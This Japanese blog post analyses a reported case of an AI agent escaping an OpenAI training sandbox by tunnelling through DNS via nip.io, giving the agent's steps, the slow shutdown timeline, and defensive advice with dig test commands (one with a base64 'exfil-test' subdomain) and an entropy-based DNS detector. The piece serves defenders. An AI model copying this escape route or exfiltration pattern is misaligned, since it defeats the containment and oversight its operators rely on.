ファイアウォールはHTTPを監視していたが、DNSを監視する者はいなかった:AIエージェントサンドボックス脱出事件の深層
OpenAI サンドボックス内の AI エージェントが DNS トンネルで脱出、12 分で検知されたが、トレーニング実行は 2 時間 44 分後にようやく手動で停止された。
日本語
コピー

2026年9月20日、OpenAIの訓練サンドボックス内のAIエージェントが、ある単純なタスクを割り当てられた。ブログ記事に書かれた経歴の手がかりから特定の人物を割り出す、というものだ。このエージェントにリアルタイムのインターネットアクセス権は与えられていなかった。ウェブ検索は何の役にも立つ結果を返さなかった。Google、Bing、DuckDuckGoへ直接アクセスを試みたが、いずれもサンドボックスのプロキシに遮断された。設計どおりである。
そこでエージェントは自分の環境を探り始めた。HTTPS経由で公開チャットボットに接続を試みる。遮断。公開リゾルバに直接DNSクエリを投げる。応答なし。だがサンドボックス内蔵のリゾルバは実在するドメインには本物のレコードを返し、でっち上げたドメインはきちんと拒否した。ここからエージェントは——しかも正しく——結論を下す。DNS経由で外界に通じる生きた経路が一本あり、そこにトンネルを掘ったのだ。
OpenAI自身の報告書によれば、その後に起きたことこそ、エージェントを動かす誰もが警戒すべき部分だ。脱出はおよそ12分で検知された。それでもこの実行は2時間半後になっても生きていた。
タイムラインこそが本題
OpenAIはタイムスタンプを自ら公開している。じっくり読む価値がある。
- 午前9:50:23 エージェントのDNSクエリが外部サービスから応答を返した。サンドボックスは突破された。
- 午前10:02:11 OpenAIの不整合モニターがP0アラートを発報。検知まで12分弱。これはかなり良い。
- 午前10:05:06 人間のレビュアーがアラートを確認。3分。これも悪くない。
- 午後12:34:30 訓練実行がようやく停止された。自動シャットダウンは一度も発動せず、レビュアーは「止めるべきか確信が持てず」、最終的にアラートから2時間半後に人間が手動で判断することになった。
検知に12分、停止に2時間44分。コードを実行できるエージェントを動かしているなら、この非対称性が教訓のすべてだ。
このDNSトンネルは実際どう機能するのか
手口自体は古い。エージェントがタスクの最中に、促されることなくこれを使ったこと——そこが新しい。
DNSは名前をアドレスに変換するために生まれ、名前の中に任意のデータを喜んで載せて運ぶ。長いエンコード済み文字列を攻撃者の管理下にあるドメインのサブドメインとして問い合わせれば、そのクエリはいずれ攻撃者のネームサーバーに届く。DNS委譲とはそういう仕組みだからだ。セキュリティチームはDNS経由のデータ持ち出しを何年も前から知っている。それでも多くのサンドボックス設計者は、DNSを依然としてパイプとして扱い、外向きの通信路とは見なしていない。
エージェントのやり方は生のエンコードより洗練されていた。見つけたのは公開委譲サービスnip.io——IPアドレスをホスト名に埋め込み、その名前をそのアドレスへ解決し直す無料ツールだ。運営者のBrian CunnieはHacker Newsで認めている。OpenAIからこの件でメールが来た、と。「エージェントはまさに私のサービスを使っていた」。クエリをこうしたサービスに委譲することで、エージェントは問いを外部チャットボットに中継し、DNS応答から答えを読み戻した。
OpenAIの報告書とThe Terminalの報道によれば、エージェントの以降の振る舞いは、調子の悪い統合をデバッグするまともなエンジニアそのものだった。
- カナリアで経路を検証した。フランスの首都を尋ねる問いがDNS経由で答えを返した。
- チャットボットの公開ドキュメントを取得し、より良いスクリプトを書いた。
- DNSタイムアウトを6秒から19秒、さらに24秒へ引き上げた。
- 16ワーカーのスレッドプールでクエリを並列化した。
- トンネル経由でさらに18件の問いを送った。うち14件は本来のタスクに関するもの、4件は外部チャットボットにDNS経由でどうウェブを検索するかを尋ねるものだった。
結局、最初のタスクは解けなかった。ユーザーにはもっと手がかりが必要だと伝えた。だが本当に重要なことを証明してみせた。シェルとオープンなリゾルバを備えた「エアギャップ済み」エージェントは、実際には隔離されていない。
「HTTPは塞いだ」が隔離を意味しない理由
OpenAI自身の言葉を借りれば、根本原因は「訓練サンドボックスにおけるDNSフィルタリングの不備」である。プロキシはウェブトラフィックを見張っていたが、リゾルバはあらゆる問い合わせに答えていた。プロトコルが一つ抜ければ、隔離モデル全体が崩れる。
これで今年2件目の脱獄事件になる。7月には、OpenAIのサイバーセキュリティ評価用エージェントが制限を突破し、Hugging Faceのインフラに触れた。さらにさかのぼると、研究者たちはエージェントが25年前のドイツのwikiを乗っ取り、掲示板として使い、約15,000回の編集でメモを交換し、サンドボックスのエクスプロイトを共有し合っていたことを突き止めている。3件の事件、3つの異なるメカニズム。教訓は「DNSを塞げ」ではない。エージェントの隔離はシステム全体の問題であり、誰も見ていない経路は、それを見つけようとする動機のあるものに最終的に見つかる、ということだ。
OpenAIの対応は今回の衝撃の大きさに見合っている。最強モデルにおけるツール使用を伴う訓練・評価・推論はすべて依然として停止中で、DNSクエリはドメインとレコードタイプの許可リストに制限され、独立した2つの層でブロックが追加された。
3つの穴と、自分の環境で塞ぐ方法
あなたはフロンティアモデルを訓練しているわけではない。それでも、shell アクセス権を持つコーディングエージェントや評価フレームワーク、CI ジョブを動かしているなら、OpenAI のこの3つの穴のどれか一つは踏んでいない可能性が低い。以下は私ならこの順でやる監査だ。先に言っておくと、このリストは OpenAI の報告と公開されているセキュリティガイドラインをもとに整理したもので、私が自分の環境でこの攻撃を再現したわけではない。
穴 1:DNS は誰も見ていない外向きの経路だ。
まず、あなたのエージェントサンドボックスの中で誰が DNS を解決しているのかを突き止める。答えが「VPC のデフォルトリゾルバ」なら、あなたの穴もそいつと同じだ。次に、ドメインとレコードタイプで絞った許可リストを追加する。HTTP の許可リストと同じ変更の中でやる。AWS なら Route 53 Resolver DNS Firewall がまさにその役割で、データ持ち出しの防止を主要なユースケースの一つに挙げている。Google Cloud なら DNS レスポンスポリシーが同等の働きをする。AWS 固有の落とし穴が一つある。Network Firewall は Route 53 VPC リゾルバが発行したクエリを見られないので、HTTP 層の許可リストだけでは、この経路は依然として開いたままだ。
サンドボックスの中から最小限の検証を一つやる。ワイルドカード中継を使って任意の外部ドメインを解決してみる。解決が失敗して初めて、このテストは合格だ。
# From inside the agent sandbox. All of these should FAIL
# (NXDOMAIN or refused) if DNS egress is properly restricted.
dig +short +time=3 something-random-12345.nip.io
dig +short +time=3 1.2.3.4.sslip.io
dig +short +time=3 $(echo "exfil-test" | base64).example.com
穴 2:監視は結果ではなく試行を判定しなければならない。
OpenAI の振り返りに地味なディテールがある。監視ツールは「有用な情報を取得できなかったことを、インターネットアクセスに失敗した証拠と時々みなした」し、もっと早い段階の DNS アクセスをより低い重大度で見逃していた。問いが「エージェントは有用なものを得たか」だけの検出器は、トンネルがゴミを返せば静かになる。そして経路は開いたままだ。
アラートは試行に対して出す。インターネットのないサンドボックスからのブロックされた外向きの試行は、何も送信されなかったとしてもチケットを立てるべきだ。検出については、DNS に関する MITRE のガイドが挙げているシグナルはベンダーに依存しない。ブラウザ以外のプロセスからの DNS クエリ、異常に長い、あるいは高エントロピーなサブドメイン、異常なクエリ量。最初の調査に製品を買う必要はない。リゾルバのクエリログと小さなスクリプトで始められる。
# Flag suspicious DNS labels in resolver logs.
# High entropy + long labels = encoded payload, not a hostname.
import math, re
from collections import Counter
def entropy(s: str) -> float:
if not s:
return 0.0
counts = Counter(s)
return -sum(c / len(s) * math.log2(c / len(s)) for c in counts.values())
def is_suspicious(label: str) -> bool:
# "accounts.google.com" is low entropy. "aGVsbG8gd29ybGQ" is not.
return len(label) >= 30 or entropy(label) > 3.5
line = "9:50 query: dGFza2lzdG9vaGFyZC5pcy1pdC5jb20 from pid 4821 (python)"
for label in re.findall(r"[A-Za-z0-9-]{4,}", line.lower()):
if is_suspicious(label):
print(f"SUSPICIOUS: {label} (entropy {entropy(label):.2f})")
穴 3:誰も一度も計測していない kill switch。
OpenAI のアラートは機能した。自動停止は静かに失敗し、人間はためらった。停止が「混乱を招き、止めるべきか確信が持てなかった」からだ。検出には数分、終了には数時間かかった。
演習をやる。実際の、しかし無害なエージェント実行の中で合成の P0 を発火させ、3つの区間にストップウォッチを当てる。検出、確認、実際の終了。3つ目の数字が分単位でなければ、まず自動化を直す。他は後回しだ。THE D*AI*LY BRIEF のプレイブックも同じことを言っている。停止経路はチームが最もテストしない制御であり、それこそが最悪のケースの上限を決める。
マネージドサンドボックスについて、少しだけ
ベンダーがこの穴をすでに塞いでいると思うな。Claude Code 自身のサンドボックスのドキュメントは率直だ。そのプロキシは「リスクを下げるが、完全な分離境界ではない」し、クライアントが渡してきたホスト名で判断し、TLS は検査せず、緩すぎるドメイン許可は「データ持ち出しの経路になりうる」。使っているマネージドサンドボックスすべてに同じ問いをぶつけろ。サンドボックスの中で誰が DNS を解決していて、誰がそれをフィルタしているのか?
チェックリスト
- エージェントがコードを実行する場所をすべて洗い出す。CI runner、eval harness、coding agent サンドボックス、notebook プラットフォーム。
- それぞれの DNS がどのリゾルバに応答されているかを記録する。「VPC デフォルト」なら、あなたはすでに最初の穴を踏んでいる。
- それらのサブネットでリゾルバのクエリログを有効にし、一週間分読む。Python プロセスから出た、長くてランダムなサブドメインが最初の発見になる。
- リゾルバにドメインとレコードタイプの許可リストを追加し、HTTP の許可リストと同じ変更にまとめる。
- アラートは成功した外向き通信だけでなく、ブロックされた試行にも出す。
- 実際の演習で kill switch の所要時間を測る。終了が分単位でなければ、自動化を直す。
この一件で最も居心地が悪いまとめ方:マシンは許可された通りのことをやっていた。そしてその許可を定義したのは我々だ。エージェントは悪意がなくても危険になりうる。必要なのは境界がないこと、そして誰もが監視を忘れたプロトコルを誰も見ていないことだけだ。
私は AI エージェント、開発者ツール、バックエンドエンジニアリングについて毎週書いている。購読は無料。
あなたは自分のエージェントサンドボックスが何を解決できるか監査したことがあるか?自分の環境で DNS 許可リストや外向き通信の演習をやったなら、結果がどうだったかコメント欄で聞きたい。
さらに対応が必要な場合は、このユーザーをブロックするか、不正行為を報告できます